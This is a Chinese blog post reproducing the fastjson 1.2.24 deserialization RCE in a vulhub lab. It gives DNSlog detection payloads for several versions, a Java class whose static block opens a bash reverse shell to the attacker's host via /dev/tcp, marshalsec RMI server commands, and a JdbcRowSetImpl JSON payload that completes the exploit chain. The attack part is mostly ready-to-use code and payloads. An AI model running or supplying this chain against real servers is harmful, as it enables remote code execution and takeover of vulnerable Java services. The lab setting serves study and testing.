fastjson1.2.24-RCE漏洞复现
最近在做渗透测试的时候遇到了fastjson-RCE但是反弹shell无果,但还是记录一下。
1.实验环境
靶机:kali2020 vulhub
攻击机:win10(用来抓包放包)ubuntu(在这我用的我公网的机器,用来接收shell)
2.fastjsion简介
Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
3.环境准备
安装JDK环境,ubunt(kali)是自带的,但是可能会报错,这是因为缺少组件
https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html根据自己系统选择相应jdk下载。
mkdir /opt/java
tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java
vim /etc/profile
末尾增加
export JAVA_HOME=/opt/java/jdk1.8.0_251
export JRE_HOME=/opt/java/jdk1.8.0_251
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
source /etc/profile,刷新环境变量。
安装maven(linux为例)
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir /opt/maven
tar zxvf [apache-maven-3.6.3-bin.tar.gz](https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz) -C /opt/maven/
配置环境变量
vim /etc/profile
在最下面增加
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH
4.开启复现
1.开启环境
root@kali:~/vulhub# cd fastjson/
root@kali:~/vulhub/fastjson# ls
1.2.24-rce 1.2.47-rce vuln
root@kali:~/vulhub/fastjson# cd 1.2.24-rce/
root@kali:~/vulhub/fastjson/1.2.24-rce# ls
1.png docker-compose.yml marshalsec README.md
root@kali:~/vulhub/fastjson/1.2.24-rce# docker-compose up -d
Starting 1224-rce_web_1 ... done
root@kali:~/vulhub/fastjson/1.2.24-rce#

2.访问目标进行漏洞验证
我们可以看到有json数据

进行抓包之后呢,我们使用payload进行盲打,首先去dnslog去整一个域名来盲打,

payload:
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}

发送之后,我们可以看到,已经收到请求了,说明存在这个fastjson的漏洞。

3.弹shell
首先呢,我们先新建一个java脚本(TouchFile)
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/接收shell的IP/端口 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
在该文件下打开命令行进行编译,编译成.class


将编译好的class文件放到web目录下,我的以前搭建过网站,我放到网站下边了,也可以使用python -m http.server 6666(注意在class下)开个简易的服务

我们进入搭建RMI服务的target目录内

使用
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP/#TouchFile" 1234
这里的vpsIP是指你的公网的开启web后放入TouchFile.class的那台服务器。本意为,使用marshalsec-0.0.3-SNAPSHOT-all.jar在本机的9999端口开启一个RMI服务加载TouchFile.class文件。

我们在开一个终端,来监听端口

抓包发送一下payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://IP:1234/TouchFile",
"autoCommit":true
}
}
成功接收到shell


浙公网安备 33010602011771号